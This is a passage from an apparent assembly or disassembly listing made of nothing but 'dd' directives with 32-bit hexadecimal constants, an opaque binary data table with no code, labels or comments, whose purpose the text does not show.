0CCF0D6DCh, 8544CA02h, 6738FDBEh, 3081FAC0h dd 7F71D26Bh, 0DAF84496h, 0E55F34Ah, 28FEE62Ch, 8E5A358Fh dd 0E0E4D15h, 2E8136C7h, 8D3329F3h, 6BF5079Fh, 43824352h dd 4928D39Eh, 0F53A23F3h, 0E2A8C45Eh, 0AD5FD989h, 6FE92B12h dd 58950765h, 2ADE88C5h, 311D615Bh, 0C0B041D0h, 8347BDAAh dd 0C7FAB683h, 1BE1806Fh, 25D9F21Dh, 197C5AE4h, 0A7DC1A94h dd 0BCC656CAh, 9174998Ch, 8C65FD91h, 0A74A8C13h, 0F8F473B1h dd 0A8261EB7h, 5D7F2B9h, 0C1C9491Dh, 9A1CF4CDh, 948D7C21h dd 0FFEF8244h, 0E3CCBB2Eh, 0D823AEB7h, 8E3B82E5h, 0CE89C845h dd 0F1BDF9EEh, 0D5115220h, 0FF7B87ACh, 8D912C93h, 7FE31DDEh dd 7780C1A6h, 58A06862h, 0F3F88BAAh, 0ADF6AC89h, 0FEF76CD1h dd 0A8136497h, 0C1135BA5h, 0EE8EE781h, 1899BD2Bh, 275400E5h dd 0A9FAB5BCh, 0B5CBBAD7h, 3737DF43h, 0FF6A316Eh, 736C70F0h dd 0FA2DBEB0h, 1F18F73Ah, 0A884BA32h, 0B50184DBh, 0EE19C89Ch dd 0F6660218h, 0BC2FC8B5h, 6893E973h, 15C1749Dh, 5344464Ah dd 0F5AC632Ah, 84C17C3Dh, 0DE9C1F67h, 0CC3603C3h, 7EAA73E9h dd 0CD47C032h, 0D5BFC2BEh, 1948C868h, 59041EBEh, 72BB7BB9h dd 6FF68ED9h, 0BDA78117h, 206C35F1h, 44B92EDCh, 0E67C98CEh dd 36F3C28Fh, 0F8FC26DEh, 0E841DCE6h, 0A7C0661Dh, 6DFFF7DDh dd 0DC8587BAh, 9FCC2752h, 47D8664Dh, 5AA7652Dh, 0A69B9A6Eh dd 3416D7FCh, 0A50F0917h, 446E32F7h, 0D6501786h, 0EF503643h dd 0A51A85DBh, 0BE0BC0CBh, 0FF5D4823h, 5EDD87EFh, 0B1E1C370h dd 0AC4C21ABh, 4BCE8986h, 8055CA82h, 80007489h, 5E871486h dd 0B6AF52BBh, 5FDD6B93h, 7A565894h, 2EE627CDh, 0CA63E530h dd 94799F46h, 749B4D8Dh, 0B2AB5DC8h, 2EF0757Ah, 0D90F6727h dd 787B8358h, 9F848E30h, 63C76206h, 0D65A2719h, 9A474668h dd 0CEFCDB32h, 158D8EB1h, 0BF51A949h, 7A3F9407h, 9FC7FE47h dd 0E3266154h, 2AF750FDh, 0E230BE43h, 0F0C66BFFh, 138DE418h dd 2B821F6Ch, 0EF35F61h, 10AC8880h, 0BDA7B34Dh, 551C9933h dd 0D277B6D7h, 0C8758414h, 0B55F22EFh, 0B461A24Eh, 91670DCBh dd 16618B2Ch, 0AFB2E619h, 7A29E720h, 0DC22297h, 88259E95h dd 0DD1FC5BCh, 0B0B216DBh, 12EB4BBh, 33621465h, 59BC87E8h dd 0EA8EAE79h, 9C1AA3C7h, 60723F5Fh, 0B2504F39h, 5D1BDB7Eh dd 0E8ACBE45h, 0B77DA9E0h, 94B4DF44h, 6A9FB1A0h, 6A7A1544h dd 1388BD40h, 3D58E24Bh, 0CDE91064h, 14053EBEh, 0C706B0D6h dd 0B334A696h, 388973D8h, 7D8AF64Ch, 975AD288h, 31C4A615h dd 3A382251h, 0E1DE4AB4h, 0D6BBDFC0h, 0DBA41DD0h, 0C519A944h dd 0C0D725D4h, 2A7A7293h, 0BDF981E8h, 330C31F8h, 0B25BC86h dd 71F107C1h, 0CE08549Eh, 0C301C50Dh, 384DCA64h, 83B69184h dd 0EDF4409Ch, 19EDDA37h, 986322DBh, 0B3603F52h, 62964D01h dd 8AA535E2h, 0F2E045A0h, 0C74A8B44h, 7F38BEEFh, 0F963DE04h dd 471DA41h, 91AAC392h, 538A6E1Ch, 0B3CE1758h, 4C326D7h dd 0AD613BFh, 21E5E60Dh, 77E90D59h, 64C0418Ah, 6C2AB5AAh dd 6EE18425h, 30F60FA4h, 0CAF82706h, 0AB29A460h, 0A79B3FAh dd 3FA16FFFh, 9544E08Ah, 8398BB58h, 2F252DBAh, 20190D36h dd 2DD84136h, 23C889AAh, 10D23F0Ch, 0B6285179h, 2B68996Ch dd 0F7320491h, 6FF47F28h, 2BF64D8Eh, 36157EA5h, 921A25FDh dd 59C625CFh, 7CFD26Ah, 0C41B9B19h, 83BF775h, 53F224F6h dd 4BC8D2D7h, 9731E994h, 0E99E5F75h, 82BD64FCh, 71ED96A2h dd 0D011FF46h, 10EAA08Bh, 32B4A152h, 119E7E71h, 0EC67635Ah dd 2E29862Bh, 0E9340CF5h, 0D2D9F160h, 0DD2E2C4Dh, 40C2089Bh dd 5E444BAAh, 0E4614935h, 27433256h, 0F4626390h, 10F38674h dd 19626030h, 6D9CA2A1h, 448838E8h, 0FE74A5C0h, 253EF53Dh dd 187EBC3Ah, 0AD8C7A7Ch, 57CDF86Eh, 2C8E3FF2h, 0FF3DF113h dd 0D6A96E00h, 6CF24037h, 1FEA4E8h, 14D5EDAEh, 2ADB4B9Fh dd 0D36E7C2Ah, 6CEFF0C6h, 0CA2AFFh, 304A5FEh, 0DB7AB122h dd 69D8050h, 0B6119766h, 2A33FE18h, 0C86806FEh, 0D943CB13h dd 0E267EE82h, 0C3832170h, 81A45932h, 0B40A6BC7h, 3B2615F9h dd 65AFC3Eh, 679B7533h, 0EA6028A8h, 8109222Bh, 0FA9F2104h dd 49F021E6h, 0E57B5BB3h, 0BBBB7EABh, 45805934h, 8286C828h dd 32F450h, 0FBBB7037h, 521C09BFh, 0C8DCA069h, 0D94889CAh dd 0B4F4F7B1h, 38F69F7Eh, 459AEEB8h, 603FADF1h, 0D9B18946h dd 98DF915Eh, 378C185Dh, 65DC7981h, 0EB18D5E2h, 6299A47h dd 3577B2D8h, 1DD754F2h, 0B9478BB5h, 0D906D951h, 4CC82464h dd 0B63E76B8h, 969A4272h, 0D466D278h, 88197CBCh, 4D985787h dd 0FCB66BABh, 6ECCF2Bh, 66C25ABEh, 0EB42417Ch, 3A2A4B09h dd 7828DF5h, 1DCCBF3Dh, 0B8C2510Bh, 5E5D68A1h, 14F554C6h dd 0C6CEE189h, 0AB6B7283h, 34669C73h, 3AE79A88h, 2901275Ch dd 20F9D294h, 0BF94377Eh, 6E5DA482h, 0ABB270CCh, 5448FDF8h dd 722ACE56h, 92D7D6BDh, 9A94E541h, 0F5C66Fh, 659E5750h dd 0DD5A48D7h, 0CCA68741h, 6059AB15h, 2EFE8E1h, 4A8B0F44h dd 0A2CA76Fh, 0E74457AAh, 1B964795h, 440520D0h, 1024758Ch dd 30D5B7C4h, 0D2DA5000h, 7C10A34Dh, 0BCFE984Ch, 40766FF4h dd 0F45135C7h, 70DD5439h, 97AB083Ch, 1A67FB60h, 0E668B745h dd 0E75BD4A4h, 4A98787Ah, 0FC644745h, 648B47E6h, 0E727262Fh dd 1DC45F2Fh, 30F140A9h, 0E3112265h, 812ABBAh, 9F461EB4h dd 0F8D6DE8Fh, 0D8C2A42Fh, 0B51D115Ah, 92E0D999h, 0F607E869h dd 5EF71A3Ch, 0DEB4BEFBh, 119A57DFh, 0B635BD0Ah, 72FB2C79h dd 0C320F424h, 92A620Eh, 92236DBCh, 854F6D93h, 3945FD60h dd 7BC50CF4h, 0A3AF93B0h, 73279D18h, 25F7864Fh, 0BA446A46h dd 0ABC332F2h, 0A898521Eh, 0D81BE0CAh, 9A0AFB57h, 0BDBCC1DAh dd 0E1C59F48h, 80ADC71Bh, 0E212ABD6h, 0EE12D843h, 25877AB3h dd 6DC1F67Ch, 0A7F66CECh, 5BE75584h, 39687976h, 63D16643h dd 8944E32Bh, 6CF7FB5Ah, 6B8FE5A6h, 0B3F77927h, 0D2BA3262h dd 0EA50BE79h, 93822069h, 48CAFB4Ch, 3F9729F0h, 2B10F208h dd 95EE94D4h, 434D9F1Ah, 0FDAD32FCh, 5EB6423Fh, 0F580323Ch dd 0FE314747h, 46270C38h, 9814EA70h, 297875C0h, 9878D96Eh dd 0FB7001F1h, 8F80D2A4h, 0C222ACD7h, 0C36137BCh, 0BB93834Ah dd 0BD2F77Bh, 569D3E5Ch, 0C9C0D8DDh, 0A17D3DC8h, 44FCEDEh dd 41AF7E2Fh, 3A5569E9h, 0D2F2BBB2h, 0CD48CE7Bh, 0F745C47Ah dd 383C06ECh, 27D28E6h, 3537A961h, 0FB99DB82h, 2D8C14DAh dd 0C8E55B0Ch, 7FED0BE9h, 0F1CE9F9Eh, 8633768Eh, 0C41EDED9h dd 0D16A970Eh, 39E58E64h, 165BA5A9h, 5E0E5376h, 0F013D72Eh dd 0B1599E1Bh, 93D39C03h, 0CB552800h, 5A0E8788h, 1B0F3D88h dd 0BD9AC612h, 0E86FEB44h, 0E789B17Dh, 0B8E7841Bh, 1FED8A2h dd 7E52786Dh, 1002E68Bh, 77B0A8B3h, 0D476D372h, 379BDCCDh dd 84D91C5h, 1926A60Dh, 1B1DCBAEh, 45E154F8h, 0F6EE842Eh dd 0F7FC9194h, 5FBFAA75h, 7914490h, 3A16A635h, 0E382084Dh dd 0D436921Ah, 5C04B89Fh dd 7FB9E05h, 4B173F7Eh, 10A4DADAh, 82FB825Bh, 0E5C88043h dd 0CE33203h, 0B4775193h, 6EF82382h, 87438C76h, 727A8D16h dd 2CCA9698h, 8F02E06Dh, 0BF7EFD76h, 0E1E570D0h, 0EBB42226h dd 48540CB1h, 0C97239A1h, 0BCD49C67h, 95C703C0h, 8028F7C4h dd 9CEE748Dh, 75CEED38h, 0C774DCEAh, 4FB42F0Ch, 3BF60DDh dd 1F1E4D3Eh, 814CCB69h, 88D1950Ch, 13098B28h, 5D5FEA7h dd 5C2EF526h, 0EAA823EBh, 3DB8A923h, 27AA0290h, 7A8D3AFCh dd 7C468D9Dh, 31E4D550h, 466B9267h, 25D76E37h, 4CEFD1C2h dd 269F97B1h, 42C42387h, 0FBD7961Eh, 574D0192h, 3A50A655h dd 0B47EEFC8h, 723FFB2Dh, 4C229688h, 0AAC8532h, 0FF46FD02h dd 0DB692357h, 2CDA008Ch, 246AAE81h, 22C912E3h, 66BBEAD9h dd 82D2F401h, 0DE65EA62h, 723BED5Fh, 5217053h, 0BBF757FAh dd 68F2ABFEh, 78AEBFDFh, 0D496D392h, 0B3DA4549h, 0FEDE59D7h dd 638E033h, 0DBB40CD0h, 0A8F2727Dh, 0BBEC1D38h, 80B91A72h dd 21A46BB5h, 892A17EBh, 0DC88D12Ah, 99069E5Dh, 0A789521Bh dd 0FCD3300Fh, 0F6AF1375h, 0FB655DC5h, 1D89EDEEh, 0DBF7D205h dd 0C8D6B07Dh, 0B6D7E881h, 326B532Fh, 560C8648h, 0C96271B6h dd 5BAFF9C9h, 551532DCh, 0FC63AD7Dh, 465E1F8h, 0F94807ACh dd 8E9B06C5h, 90EA02ECh, 89A05FECh, 8DA378CBh, 0DD86A6A3h dd 0C8763B30h, 313CFF60h, 0D7124960h, 5A71555h, 0A4954851h dd 6A4414D7h, 0EE6E9E40h, 968D934h, 0BF799D79h, 25953D2h dd 0FFBB628Dh, 4AFB026h, 38BE61F0h, 0F2CAADBFh, 460C0010h dd 80E219E4h, 0C687AE4Dh, 53B95D00h, 87A50F03h, 5603D3C2h dd 0CF0E4FF1h, 9A30460Fh, 0E100FA25h, 0C65181F0h, 0A074C83Fh dd 0D6A093A5h, 0BEE01817h, 0CFC4CC0Bh, 502FACF9h, 71EE0457h dd 0FAB647E1h, 4A8ABBBEh, 5FF70CD6h, 0C37BFED3h, 20FCE82h dd 52D420D9h, 0FF1E03DEh, 8B8C5A39h, 2C0749FFh, 836981DAh dd 8D40C2ACh, 885AD9ECh, 203D27Dh, 4B0AC3CAh, 97216D63h dd 4FBA3D06h, 0E1BF7413h, 35FE43BBh, 0FF1EC879h, 18717195h dd 0C74B0AEEh, 0A5F215B9h, 69D918DFh, 0FEA3049Bh, 659D6263h dd 0ACC927EBh, 69C7641Bh, 0DA4461CCh, 0FC104E47h, 0FF7A2AE7h dd 0D703DC1Dh, 9207A809h, 0FA8F77EEh, 0DD2A0F93h, 5963092Eh dd 0C4D38892h, 595D165Bh, 0E678E082h, 0F8857E16h, 6537C4FEh dd 0D32550A8h, 8EF77629h, 0C1552B39h, 1699395Eh, 3173ABEEh dd 6C98EE0h, 0A31E4697h, 8E0F46Bh, 6B15F823h, 2BBED4A2h dd 0D2B513C5h, 2F658375h, 0C7E9B0F2h, 0D397A962h, 6F2845CDh dd 93521891h, 0AA099D42h, 0CA8619ECh, 0DC9C4588h, 4C34EFBEh dd 0F474E322h, 6A6833FBh, 0E24ADB09h, 0BE7B8A27h, 8313013Eh dd 166500EBh, 0E1585AABh, 89B0B230h, 58F34A8Ch, 2E3C022Bh dd 4B2D3F02h, 0F99A1DBBh, 728B7EEEh, 93C343B8h, 0FE413D2Eh dd 42C07DA8h, 51D11FC7h, 2AA04191h, 0C9A588E6h, 4F84A505h dd 0DA73BACAh, 17B035CDh, 5F7162F1h, 77559077h, 2227E545h dd 9BE4723Bh, 2D826D52h, 1AEE93FDh, 842E1B32h, 0E160AD8Fh dd 0F1915162h, 0CB50688Bh, 70A17181h, 0EBBC8DC5h, 0C9ED3682h dd 69FDEE7Eh, 0EC015CB3h, 0C47AC382h, 0B5C13178h, 33BD659Bh dd 9FCB9F8h, 9A49D26Fh, 0BCB967DBh, 0B864EA06h, 0D3AF0123h dd 0F6179902h, 148AA821h, 0BE63622h, 9F1108C7h, 0FF8E49D4h dd 9EA5CD7h, 9AABC06Dh, 9CC23F68h, 5B63A2F1h, 27B6AF0Ah dd 9F6DDC96h, 4F9C490Ah, 0C85BF0A4h, 3BABA83Fh, 999C55C1h dd 0D74CD558h, 2CC7AB50h, 0A4711085h, 0A9E16C4Dh, 21FBE272h dd 0C846F78Ah, 0BB7AED2Fh, 0B29CB97Eh, 0A1BAAE87h, 992A614Eh dd 86978DB0h, 193F7556h, 1C5E9FF6h, 26202954h, 89C28FB2h dd 0E39F468Ch, 8C9E3ABh, 29F502F9h, 0B039FD78h, 86532E3h dd 5C8197DEh, 49FC9B99h, 69172EEh, 3D3368E8h, 0C354E9A3h dd 0EE95264Bh, 0BBE74F16h, 2DB6F2A3h, 2634791Ah, 208B1E7Ch dd 377781Ah, 49BE2730h, 0CB38BD98h, 0ECBBF250h, 0F5164B0Ch dd 17DF53BEh, 5C8F2044h, 0A1234084h, 6387140Ch, 913914C4h dd 0BD87B550h, 2E010DE7h, 0AA0FCC41h, 96DE7E13h, 0FD470BEBh dd 0B223E511h, 2439FF89h, 6919D5A0h, 0CE383EC7h, 47A1B263h dd 0A4B16995h, 0CBFA72EBh, 0F409A6C1h, 0E8C13775h, 0B708ED4Dh dd 3F900DABh, 3F1DBAE2h, 0BCCA5703h, 729761A9h, 0B62C13D7h dd 9F20F903h, 5B95C0D1h, 0CF8AE35Ah, 71BD44Ch, 8E02B154h dd 81530A2Fh, 3B43C0B8h, 730FBDAFh, 6DCF0D75h, 0F7FE66FCh dd 12C98689h, 0E250909h, 98AF2AADh, 7D069DE7h, 0F79F1427h dd 9B4F865Ah, 3DADC1Ch, 6F7E1A3Dh, 3E206265h, 0A14CD48Bh dd 0F1092ADBh, 0D83BE525h, 0BEDEF318h, 0DD0ABB16h, 0E857FC57h dd 0ADDE8FFCh, 0B64B4935h, 69D6EC1Dh, 99326308h, 0ABE4CE60h dd 0E2C4C283h, 5D4336D7h, 4182711Bh, 5BF4AB0Eh, 3B75F8D9h dd 0CD1A8B7Ah, 82A9E426h, 0AC0381F6h, 0A08495E1h, 379AE007h dd 298E6865h, 3C817582h, 0C51583E0h, 818EAF28h, 83CA44ACh dd 0C24BA175h, 1845845Dh, 0E3AC46D7h, 7E258917h, 6F43EA45h dd 0C88CA071h, 6858AD64h, 7E551DACh, 8A3B80E9h, 0A77A1CD5h dd 84D46979h, 0FEBE8D27h, 9BFC5CA5h, 0DFD438FCh, 0DF11D136h dd 910C8DD0h, 3B24EED9h, 39D5CF15h, 751CCCF4h, 83E44BC0h dd 0A015CC29h, 9738A769h, 17FA24B0h, 1135D976h, 97CC621Bh dd 59B4A983h, 0B9BFD793h, 7C929354h, 6728C140h, 0C5FEEB38h dd 42656B0Dh, 222EB6FDh, 149786DDh, 1BE67D51h, 6B10CB7Ah dd 0F05D46A2h, 0C7DBE0B3h, 78C980DBh, 0B82520A8h, 9F165F5Fh dd 5025F471h, 0B6CE5207h, 713C0B3Bh, 0CD77EE94h, 0EB32FF69h dd 68F1AECFh, 8D0D22A1h, 0C7FF9FA0h, 0F0CC61EAh, 8394ED2Dh dd 0C85086DCh, 6ED9915Dh, 5CC82566h, 7310F61h, 8FBD7523h dd 6B16218Ah, 15E6CCC6h, 0EB2518E6h, 0AC371B32h, 79129A52h dd 19A1A742h, 0E281058Ah, 0A496D036h, 0B8CC300Fh, 6C639791h dd 0EAE4B8C8h, 9BDAE85Fh, 0EF70118Ch, 99F41DBBh, 0EE21BD42h dd 60FD2525h, 47C0F134h, 0F16FD6B5h, 0D5A5A617h, 0C6EA815Eh dd 0E16CB2D8h, 731CE95Dh, 0C61BD641h, 83015CC6h, 3A4B9586h dd 8189039Eh, 0E378EBB0h, 9E17FC69h, 0A82FA79Fh, 49A10873h dd 47D0C2A6h, 8AC11BD8h, 1C29F92h, 3058051h, 3E8199D0h dd 0FA6005A5h, 2CCFD376h, 0F62A72EBh, 95523B33h, 0F9D889FEh dd 13337FC3h, 3715CA80h, 7D98F586h, 0BE60AC6Fh, 1B173347h dd 0E592A7D2h, 5C834472h, 8DC5123h, 5C033270h, 56B4220h dd 0AD545AB7h, 6EBD4B47h, 0B46C3EDEh, 4698AEB2h, 628976DFh dd 0E73A49B8h, 3D0D5D06h, 0DFC4A60Eh, 2D8EE698h, 3A91F4FEh dd 0A5DDD7E1h, 0B3799F33h, 4990407Eh, 7AB7814Fh, 0E4DCE74h dd 1BC5C442h, 2AF9518Dh, 0C4313EF4h, 0BE9635F3h, 0D775A9C4h dd 2985A11Fh, 0EE739CEh, 902675Bh, 0D60F2F78h, 0EAC83F0Fh dd 3973FE8Ch, 1744C2A0h, 0C4F27072h, 0A6C77F8Eh, 297CA290h dd 0B82F1D67h, 8015552Ch, 0AA8ED94Dh, 0E4580D4Bh, 2263DBD1h dd 0E6145974h, 221265D0h, 92802DA2h, 9ECEE2A1h, 0EA64AACBh dd 8456AB6Ah, 0CC9AC2A1h, 8B1CC269h, 49BD7D1Ch, 0EAD1DD9Fh dd 8C4588FEh, 0F1646DF0h, 0B066B435h, 947096ACh, 0BA558017h dd 0F951677Fh, 0E3A1DE92h, 0B2B617Dh, 2FDDB768h, 3FC694B9h dd 8FC90A59h, 35AF3461h dd 37B47FE4h, 250B5EA1h, 45644E71h, 6B822040h, 3A869F7Dh dd 95D0FE00h, 0A48CA4AAh, 1B4ED732h, 43E1C015h, 370233B5h dd 0F8360AFFh, 4795430h, 0EE40DB46h, 0C5012CD5h, 0B424CA1Bh dd 9B933E9Eh, 0A0191436h, 27B8E24h, 0B4888DCDh, 7D583A8h dd 2FC5F332h, 94174604h, 0E04E4893h, 0DF8C7EC5h, 0B429E6A9h dd 3054BD54h, 0D5DB8BB4h, 9B40BA7Ah, 8B313A8Eh, 7236DCB7h dd 54BCCA14h, 0EB34759h, 8D43517Dh, 9C5BA4D4h, 711C4EFCh dd 0EDEAD9FCh, 0C6310D90h, 0D5CA8CECh, 6367626Bh, 54E8A95Eh dd 912F651Ah, 9A9187E4h, 56F43FEBh, 3B952807h, 1B133E5Ah dd 229994B6h, 0D0D5C62Eh, 457F7EA8h, 0FDECAC65h, 3F7E2288h dd 9D97C672h, 45B5267Fh, 6927273Ch, 3B859078h, 0EBF9A1E9h dd 0D98EBFA4h, 0C59362C6h, 7D3F6B2h, 0D1AA27A8h, 98592CEAh dd 0D49B816Dh, 43300D78h, 0D3805F2Dh, 0C7487E22h, 6663A20Dh dd 0E3D9E6E6h, 4AA7014Fh, 523E102h, 0B3622C8h, 1B72E4D1h dd 533CF01h, 0FECC67E4h, 0E30371C9h, 0C60FB911h, 0C305CAAFh dd 6A59D4F6h, 7C9CC97Dh, 80ED3746h, 0E46078B4h, 0E0708DC9h dd 87091CFAh, 687D9B00h, 0A8DF305Fh, 0B5BBEE67h, 9D61C3A0h dd 0A3936677h, 0EA82D2E6h, 0A0E3CC4Bh, 0BAEDC3A5h, 0CD24260Dh dd 0B7A38231h, 95B51822h, 51B6C98h, 8110F9CAh, 667C300Ch dd 324A9739h, 1B251013h, 234F7EA6h, 0CED65C3Ah, 80A5BF4Ah dd 0E9D547E5h, 69DF06Ah, 0D23245E9h, 0EECF230Ch, 0EA543F2Eh dd 139ADC01h, 6354DF5h, 9440835Eh, 8B545841h, 0FD7EC1DAh dd 0AED112DFh, 0C9132EA3h, 543EE493h, 1BED2A94h, 5997B939h dd 0DB92E7DAh, 0F721E6CAh, 7F229D1Fh, 0BDBA73E2h, 148D8E61h dd 42EE731Bh, 0DA8C3048h, 0AE5347F8h, 25EFD41Ch, 9C0EFAE3h dd 5AC293D3h, 3DF20ACh, 0F5B816A7h, 0A949DDFDh, 0D1662DAEh dd 7BCE585Ch, 452CD781h, 0C154E5Bh, 3CBE736Dh, 0D2AB970h dd 3E174166h, 6CCADFA8h, 73FFA066h, 449B1390h, 0BAEE9AEBh dd 0B4BD70F8h, 7D0BF97Ch, 284D87CAh, 6E3A85ACh, 4210E9C7h dd 0D012EC98h, 52DB5FC7h, 0F0FDB879h, 0F95FAA06h, 0DA218009h dd 9A0CB856h, 10C4D4A9h, 0A0B55BD9h, 0EBE182DBh, 0F4FBB564h dd 1217993Ch, 8994AA77h, 0ED46F700h, 0FB62262Fh, 0F855A07Ah dd 2A122091h, 4177CC97h, 7A1B7647h, 6C7EDF0h, 8FAD7AD3h dd 0E71C8B4Eh, 0CF305C82h, 0DBD53BCEh, 0BA74F414h, 0E58D4687h dd 0FCC84045h, 0D3CDD13Eh, 4A8C957Dh, 3263A08Dh, 0F2A476FFh dd 146123ECh, 8E43D2E5h, 3E280D6Fh, 79B47A34h, 204269DAh dd 2B25EDB9h, 0D2A49551h, 0B92DB530h, 82BCB0F1h, 9E060EDAh dd 49C85238h, 6F754298h, 0D5890806h, 0D23BAE77h, 0BC4B51F9h dd 0ADF0E945h, 0DD0F56ACh, 0B1A6C06h, 0A25D2E51h, 887DFCDEh dd 92C09528h, 0C779EA77h, 87DDE41h, 8E717B9Ah, 0FCE08562h dd 5F5FCE24h, 240D9E25h, 0FA646FFFh, 12A02E6Eh, 0C19DB273h dd 31F97A5h, 8B4DB1F7h, 37E01545h, 0C2EE73C8h, 34FFECBDh dd 85D4A363h, 5688102Dh, 8A6261B0h, 84F6933Ah, 4F25CC1Dh dd 975E8E56h, 0A16469F5h, 0A7C2211Eh, 0A7A4B9D1h, 41641015h dd 68557030h, 32AC47Fh, 0F0811D3Ch, 522285CBh, 4A6CFBB7h dd 311A5F76h, 1304CDD8h, 0EEE7A6DAh, 2367BF22h, 284ABB80h dd 5DED0BC1h, 5A39FC78h, 3BD36BFDh, 52E558A6h, 0D43409D6h dd 249D3A67h, 77E20756h, 1FE0CFEh, 1542802Fh, 62A18B38h dd 99A868B7h, 26F57126h, 0FE91F77Eh, 0EBDC9899h, 8661EADBh dd 91B82A3Ch, 757E3FCFh, 0A52B72DAh, 0AED992BFh, 7AC44526h dd 27D562A3h, 30E53EE3h, 7ECC64F1h, 0D778AFF6h, 3C0997C4h dd 7D735406h, 0EB1451CDh, 67BE9373h, 6B044768h, 36070F85h dd 7AD471BAh, 28D15975h, 30620E22h, 0EA7AF002h, 1E612887h dd 28E5AF5Dh, 13FF1905h, 0FA875553h, 6E21BCB3h, 3840F982h dd 99882C41h, 5F801F98h, 3381711Ah, 52E675CCh, 3A37A4B9h dd 0C776EF49h, 8E4FED6Ch, 0FCB3195h, 27754A63h, 826F833Dh dd 906C1BF9h, 0A1995903h, 691ED757h, 7D688610h, 9E67F99Ah dd 4A633E0Eh, 0B355941Bh, 7D835922h, 9819691Ah, 0A53050DBh dd 60CB731Fh, 0B55C0AB4h, 4D6353F8h, 7227F36Eh, 79D5780Ch dd 1E78F9DFh, 411EDF27h, 0B96285FCh, 856B1FCDh, 0D25F282Dh dd 0E4826E2Dh, 876E7C79h, 0BFB03DCCh, 1AA57DB9h, 66612F70h dd 9FD07DD4h, 1A57469Eh, 0BFECBB4Dh, 0F25775B8h, 2BDC892Ch dd 0F1527F3Ch, 0D131095h, 13ADF85h, 0C1CC58CCh, 362F978Fh dd 0DB866353h, 0C958426Bh, 37801168h, 67F09D76h, 79029720h dd 0A3D7CE20h, 6B22A27Fh, 0CEF582E3h, 1C673A18h, 1122AFB5h dd 2D64AEC7h, 0B223A778h, 0EE5E3FA1h, 0A77F3459h, 8233E247h dd 329980F3h, 17CEC752h, 6895CD96h, 0EF58252Eh, 9F42CC2Dh dd 7E3C8D89h, 27A0D0E7h, 0C9C6E0ADh, 0FBA3FBB4h, 2639CD66h dd 0C58C21F8h, 857C5972h, 5C866FBCh, 6A3BE435h, 14297EC1h dd 0CF359A7Bh, 0B1484CCCh, 5D85E631h, 11E6FF8Ch, 0B6E4CA74h dd 5B33E3CBh, 0D9742973h, 0F7BE1AE4h, 69DC2010h, 23D607E3h dd 503C4502h, 0B082D93Dh, 0CBA4818Dh, 0AF837F68h, 49848A89h dd 34C2FEADh, 8E52829Dh, 92BE7CC5h, 0A4D94A23h, 0BBEC7023h dd 0E6AFA85Ah, 0DE298A33h, 35866B42h, 0E6943514h, 0A679FBA3h dd 899EDF9Eh, 0F133B471h, 306DFD30h, 6DBC60C1h, 6C8EE83Dh dd 98424687h, 8F945E35h, 0B801096Eh, 233E4EF2h, 0EB48C576h dd 7EA74FE2h, 6F1C285h, 4B5FBFF4h, 89138A86h, 0EB2BC955h dd 0CDA86DD5h, 0C079EF08h, 89BAB66Bh, 0C9B23FA8h, 4C08F4EDh dd 97988D4Dh, 452FAADEh, 0D726D41Fh, 764F25C6h, 36F694E5h dd 572BF8EEh, 0E4253FC0h, 7FF571BAh, 62378D7Eh, 0CB76B8BBh dd 60B55FB3h, 0AD46DA2Bh, 8D5ED9D4h, 0BD0F3F2Ch, 3F35A108h dd 0C3A4C156h, 77C39178h, 3B64711Ah, 6F0B565Fh, 850FE3C8h dd 1C19D572h, 19F60A63h, 77E6DE17h, 548DE233h, 5E806DB3h dd 6FF96E03h, 9E9EA692h, 0E5A2152Eh, 968D4898h, 7A4F94C4h dd 0B085FC91h, 0AEC7BEEEh, 0AAE4D191h, 15837396h, 77BFF5A0h dd 9F1FF9E2h, 0B72D14DAh, 0EE86C0B2h, 9BDBE72Eh, 92B36182h dd 0A6B75FA9h, 0D3E0C2ABh, 68EFC512h, 33C06D98h, 0E996004h dd 2136C3D2h, 925372D8h, 0B44561DEh, 0E669830Ah, 0B2D3915Eh dd 61012E77h, 9527D2CCh, 0D25BFD08h, 253E472Dh, 508549F2h dd 56E0A911h, 0D9B901E0h, 0B1E0995Ch, 0A5F55802h, 3D7EAFE0h dd 0FE75F6F3h, 0EEA32ACFh, 59838EA8h, 4923FE54h, 8BD11C60h dd 0E43009D2h, 0E05AEB2Eh, 5F0CB61Bh, 0F0829A97h, 483A877Ch dd 0E2B48D21h, 2004F12Ch, 0EB6E34AAh, 0D5B17B78h, 7A8215Eh dd 27DD1EE9h, 0BE60219Eh, 0AA1B2071h, 0E6606109h, 72B9AD2Dh dd 312350C2h, 0C331BBA3h, 2D3EB38h, 0BE79E2C7h, 0D2BC75DCh dd 0C1DD8B63h, 70C3B56Ah, 73CAC6F4h, 758972h, 0AB89A3B3h dd 30AF234Ch, 51F45E24h, 7DE24DAFh, 0A8A7944Dh, 9E1BEF29h dd 53549A7Eh, 0D69850E3h, 0D2FFCAF4h, 7512EF7Eh, 0BEE16263h dd 1E130871h, 0A47E130Eh, 0E4F839Bh, 4DE831C2h, 3DEA336h dd 0DD4FF128h, 7EAEFB84h, 2B77F71Eh, 0A5A4BED5h, 1DF38E0h dd 73B13E0Eh, 45D13FDh, 3AED062Bh, 0F91FB001h, 12831847h dd 4F1BB015h, 6A0E4F0Eh, 4C3E5CEAh, 274D3976h, 0A83CC461h dd 0E71A9CC9h, 7B855DF6h dd 0CF0A70F2h, 0F93E8DA6h, 0B0A9E459h, 6CC3BCD9h, 0B7DC6923h dd 0FC99761Dh, 5C5D8E33h, 831E8C97h, 0C142F64h, 0B5020EE8h dd 571B2459h, 7504E88Ch, 151FAA2Ch, 0D1CA3358h, 42296D22h dd 800E79F0h, 0AB885623h, 0B667376Ch, 0E9B3CAE2h, 5C319F40h dd 0C2436C93h, 93B077D2h, 0D54A33C3h, 0FC1D047Bh, 5E0B9471h dd 0A0595CD6h, 74FEB2FCh, 6A6BC0D5h, 0B4E1E583h, 529BA3FAh dd 8C5FBFA3h, 0A52C383Eh, 8F110FCBh, 9A12DAD2h, 132AF4D9h dd 5EA98C02h, 60728F4h, 5616DB5Bh, 0CB8966B5h, 0D05226Bh dd 0DF57F0C5h, 0A43DFA6Bh, 66DC23DAh, 551C1BB6h, 160B111Eh dd 0C87DB680h, 0B2BBEF06h, 5FA8714Bh, 545229D6h, 0F30F2D7Dh dd 9940D47Eh, 0A6462FC6h, 91C60CD9h, 942D0143h, 2611E7DEh dd 9253EE9Eh, 5416229Eh, 0F03C60B5h, 7D59EF00h, 7025A2BEh dd 1ED71F2Ah, 9A3BB63Fh, 0C75CCB67h, 0B52CCF9Fh, 9A05807Ch dd 76B00DA7h, 0C0F27491h, 1C193E6Fh, 0AC20DC0h, 2272B597h dd 0A56D2E3Eh, 6E8E860h, 